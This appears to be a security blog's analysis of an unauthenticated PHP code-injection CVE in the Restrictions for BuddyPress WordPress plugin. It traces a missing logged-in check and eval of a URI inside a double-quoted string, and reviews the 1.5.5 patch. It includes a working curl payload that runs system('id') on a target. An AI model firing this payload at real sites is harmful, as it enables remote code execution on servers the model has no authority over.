//nefariousplan

CVE-2026-120539: Restrictions for BuddyPress Marked Three Rules Logged-In-Only. The Pmpro Handler Ran Them For Guests.

vendor

pattern

cve

proof of concept

Three of the five default restrictions in Restrictions for BuddyPress carry a logged_in flag set to true. The flag's name is its documentation: these rules are supposed to apply only to callers who are already logged in. The 1.5.4 plugin has two handlers that iterate the same restriction list on every template_redirect; the handler in the Admin class reads the flag and skips the rule for guests, and the handler in the Pmpro integration class is a parallel copy of that loop with the flag check removed. For every unauthenticated request to a site running BuddyPress and Paid Memberships Pro, the Pmpro handler reaches into the three rules marked logged-in-only, substitutes the attacker's request URI into a double-quoted PHP string literal, and feeds the result to eval.

The schema said logged_in. One handler read the flag. The other did not.

The 1.5.4 plugin ships a function get_settings() in includes/class-bp-restrict.php that returns the default restriction list. Each restriction is an associative array with a name, a human title, and a condition that is a PHP expression string. Five restrictions ship by default. Three of them carry an additional key, logged_in => true:

// includes/class-bp-restrict.php, get_settings() in 1.5.4

$settings[] = array(
    'title'     => __( 'Restrict viewing other profiles', 'bp-restrict' ),
    'name'      => 'view_profiles',
    'condition' => 'bp_is_user() && ! bp_is_my_profile()',
);

// ... groups_dir, view_groups, show_activity ...

$settings[] = array(
    'title'     => __( 'Sending private messages restriction', 'bp-restrict' ),
    'name'      => 'pm',
    'logged_in' => true,
    'condition' => 'preg_match("/\/' . $members_slug . '\/" . bp_get_loggedin_user_username() . "\/messages\/compose\/?/", %current_url% )',
);
// pm_view and add_media follow the same shape, each with logged_in => true
// and %current_url% inside the condition.

The three with logged_in => true are exactly the three whose conditions contain the token %current_url%. The two without the flag have conditions that call BuddyPress helpers and never reference the current URL at all. The flag's name is documentation of intent: these rules only apply when a logged-in user is on the matching URL, because the regex is anchored by bp_get_loggedin_user_username(), which returns an empty string for guests.

Two separate handlers iterate that list. Both are registered on the template_redirect action, which fires on every front-end request. The handler in admin/class-bp-restrict-admin.php reads the flag:

// admin/class-bp-restrict-admin.php, restrict_rules() in 1.5.4

foreach ( $all_restrictions as $restriction ) {
    if (  isset( $restriction['logged_in'] ) && $restriction['logged_in'] ) {
        continue;
    }
    $v = str_replace( '%current_url%', '"'. $uri . '"', $restriction['condition'] );

    $check = false;
    eval( '$check = ' . $v . ';' );
    if ( $check ) {
        $this->check_access( $restriction['name'] );
    }
}

The handler in admin/class-bp-restrict-pmpro.php does not:

// admin/class-bp-restrict-pmpro.php, restrict_rules() in 1.5.4

foreach ( $all_restrictions as $restriction ) {
    $v = str_replace( '%current_url%', '"' . $uri . '"', $restriction['condition'] );

    $check = false;
    eval( '$check = ' . $v . ';' );
    if ( $check ) {
        $this->check_access( $restriction['name'] );
    }
}

Two loops, one contract. The Pmpro class's loop is a line-for-line copy of the Admin class's loop with the if ( $restriction['logged_in'] ) branch removed. Every other line is the same substitution, same eval, same check_access.

The Pmpro class is instantiated when the PMPro plugin is active, from load_dependencies in the Admin class, and its constructor registers the template_redirect hook. Its own restrict_rules short-circuits only on is_super_admin(), function_exists( 'pmpro_url' ), and function_exists( 'bp_is_active' ). There is no logged-in check. Guests reach the loop. The loop processes all five restrictions. Three of those five contain %current_url%. The attacker's request URI is substituted into the eval argument for each of them.

The eval argument is a double-quoted PHP string literal

The substitution replaces the literal token %current_url% with the characters " then $uri then ". The result is a PHP expression where the URI appears inside double quotes. For the pm rule, with an empty logged-in username, the expression that reaches eval looks like this:

$check = preg_match("/\/members\/" . "" . "\/messages\/compose\/?/", "https://victim.example/<URI>" );

The regex half of that expression collapses to a pattern that never matches a well-formed URI. The function that eventually runs, preg_match, returns 0. $check is false. The restriction does not fire. From the plugin's point of view, the loop did nothing.

That is the second half of what eval did. The first half was parsing the argument. A double-quoted string literal in PHP is not an inert byte sequence. It is a mini-language with its own expression grammar, the complex (curly) syntax. Inside "...", the sequence {${expr}} names a variable whose identifier is the value of expr. To resolve that name, PHP evaluates expr first. Whatever expr is, a function call, a chained expression, a call to system, runs during string interpolation, before the string's value is handed to the caller that preg_match would have received.

The get_full_url() helper builds the URI it hands to the substitution directly from the request:

// includes/class-bp-restrict.php, get_full_url() in 1.5.4
$uri = $protocol . "://" . $_SERVER['HTTP_HOST'] . $port . $_SERVER['REQUEST_URI'];

No filter, no canonicalization, no escape. A request whose path contains the three bytes {$ is a request whose REQUEST_URI contains those three bytes. A request whose path contains {${system('id')}} is a request whose REQUEST_URI contains that expression, which arrives inside the double-quoted string literal eval parses, which triggers the complex-syntax branch, which calls system, which runs id and writes the output to the response body before the preg_match the author wrote has started.

A working request:

curl --path-as-is "https://victim.example/{\${system('id')}}"

The response contains uid=33(www-data) gid=33(www-data) groups=33(www-data) spliced into the page body. The regex that follows sees a URI with the already-executed payload, fails to match, returns 0. The plugin's own event flow logs nothing unusual. WordPress does not log request bodies; access logs record a GET for a path containing {$ characters that returned a normal 200.

The author of the loop reached for '"' . $uri . '"' as a substitution. They were trying to produce a well-formed PHP string literal around an untrusted value. Wrapping an untrusted value in "..." and feeding the result to eval is the sink the double-quoted string literal exists to serve: the "..." is not a container, it is a parser that runs user-supplied expressions. This is also why the canonical LLCForge PoC README names the wrong file for the sink. The mechanism it describes, double-quote interpolation inside eval, is correct. The code block it prints is an invented stand-in; the actual expression lives in admin/class-bp-restrict-pmpro.php and in the parallel-but-gated copy in admin/class-bp-restrict-admin.php.

The 1.5.5 diff: two fixes, one admission

The 1.5.5 release went live on 18 November 2026, three days before CVE assignment. The plugin reports 300+ active installations. The changelog's security entry reads, in full:

Security fix: Fixed unauthenticated PHP code injection via the request URI in restriction condition evaluation. Request data is no longer part of evaluated code; logged-in-only restrictions are skipped for guests.

Two sentences, two separate fixes. The first fix moves the URI out of the eval text entirely. A new helper, evaluate_condition, binds the URI as a local variable $current_url before the eval, and %current_url% is replaced with the literal five characters $current_url rather than the URI's value:

// includes/class-bp-restrict.php, 1.5.5
public function evaluate_condition( $condition, $uri ) {
    $current_url = (string) $uri; // bound value, used by the eval'd expression below
    $expression  = str_replace( '%current_url%', '$current_url', (string) $condition );
    $check       = false;

    // phpcs:ignore Squiz.PHP.Eval.Discouraged -- fixed, plugin/filter-authored expression; request data is bound, not interpolated.
    eval( '$check = ' . $expression . ';' );

    return (bool) $check;
}

The eval still runs. The attacker's URI still flows into the function. The URI is now the value of a variable the eval'd code reads by name, not a substring inside the code's text. PHP's string-literal interpolation does not re-tokenize a variable's value when it is referenced as $current_url inside a preg_match argument, and the primitive is gone.

The second fix is the one the pattern turns on. The Pmpro handler is rewritten to add the check the Admin handler had all along:

     foreach ( $all_restrictions as $restriction ) {
-        $v = str_replace( '%current_url%', '"' . $uri . '"', $restriction['condition'] );
+        // logged_in restrictions can never apply to anonymous visitors
+        if ( ! empty( $restriction['logged_in'] ) && ! is_user_logged_in() ) {
+            continue;
+        }

-        $check = false;
-        eval( '$check = ' . $v . ';' );
-        if ( $check ) {
+        if ( bp_restrict()->evaluate_condition( $restriction['condition'], $uri ) ) {
             $this->check_access( $restriction['name'] );
         }
     }

The variable-binding fix closes the demonstrated primitive on its own. The logged-in check is additional. Adding the second fix is the author's admission that the handler was processing rules it was never supposed to process. The restrictions marked logged_in => true were iterated for callers who were not logged in on every request, from the point the Pmpro integration file was forked from the Admin loop. The fix committed alongside the primitive closure is the comment logged_in restrictions can never apply to anonymous visitors, a sentence the plugin's schema has asserted in flag form since the project began.

This is a parallel-implementation-gap

The Admin class's restrict_rules and the Pmpro class's restrict_rules are the same function. They iterate the same restriction list produced by the same get_settings() helper. They read the same get_full_url() helper. They register against the same WordPress action. The difference between them is four lines at the top of the loop, the if ( isset( $restriction['logged_in'] ) ) continue; branch. That branch lives in the canonical file. The Pmpro integration was written as a parallel implementation and the branch was not copied.

The Pmpro loop is loaded only when PMPro is active, which is the precondition the CVE description names. Sites with PMPro installed are sites where both handlers run on every request, and only the Pmpro handler is the CVE. The other handler, running in the same process, in the same plugin, on the same action, never has this bug.

The restrictions the plugin marked logged_in => true are the restrictions the Pmpro handler ran for callers who were not logged in. The mechanism is the double-quote interpolation that eval performs on its argument. The CVE exists because a second loop was shipped against the same restriction-processing contract as a first loop, and the flag that scoped the contract was documentation rather than enforcement. The 1.5.5 patch's first fix neutralises the sink; its second fix finally promotes the logged_in flag from a comment-shaped convention into an actual gate.

PoC: LLCForge/CVE-2026-120539

Two handlers, one contract. The gated one is not the CVE.